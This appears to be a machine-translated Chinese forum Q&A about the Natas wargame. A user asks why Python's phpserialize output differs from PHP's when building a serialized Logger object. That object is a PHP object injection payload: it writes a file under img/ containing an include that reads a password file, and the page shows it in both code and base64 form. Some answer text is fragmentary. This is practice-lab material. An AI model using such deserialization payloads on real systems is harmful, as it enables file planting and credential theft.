在尝试在线进行nataschallange时,我想将php代码转换成python,但没有得到预期的结果。可能是我在phpserialize
中遗漏了什么
为什么它的输出不同?你知道吗
import base64
from phpserialize import serialize
payload = {'initMsg': "", 'exitMsg': "<?php include('/etc/natas_webpass/natas27');?>", 'logFile': "img/code.php"}
new_ser = base64.encodestring(serialize(payload))
print(new_ser)
<?php
class Logger{
private $logFile;
private $initMsg;
private $exitMsg;
function __construct(){
$this->initMsg = "";
$this->exitMsg = "<?php include('/etc/natas_webpass/natas27');?>";
$this->logFile = "img/code.php";
}
}
$obj = new Logger();
echo base64_encode(serialize($obj));
?>
PHP代码产生:Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMjoiaW1nL2NvZGUucGhwIjtzOjE1OiIATG9nZ2VyAGluaXRNc2ciO3M6MDoiIjtzOjE1OiIATG9nZ2VyAGV4aXRNc2ciO3M6NDY6Ijw/cGhwIGluY2x1ZGUoJy9ldGMvbmF0YXNfd2VicGFzcy9uYXRhczI3Jyk7Pz4iO30=
python代码生成:
b'YTozOntzOjc6ImluaXRNc2ciO3M6MDoiIjtzOjc6ImV4aXRNc2ciO3M6NDY6Ijw/cGhwIGluY2x1\nZGUoJy9ldGMvbmF0YXNfd2VicGFzcy9uYXRhczI3Jyk7Pz4iO3M6NzoibG9nRmlsZSI7czoxMjoi\naW1nL2NvZGUucGhwIjt9\n'
在python版本中序列化散列,在PHP中序列化对象一个。就一个将对象转换为哈希(关联数组),它将产生相同的结果:
在查看了文档之后,我提出了一个解决方案,首先将数据转换为对象,然后进行序列化。你知道吗
@Maxim让PHP代码像python一样,
下面的代码使Python代码与PHP类似
感觉这是一个艰难的方法,不确定这是否可以变得更简单。你知道吗
相关问题 更多 >
编程相关推荐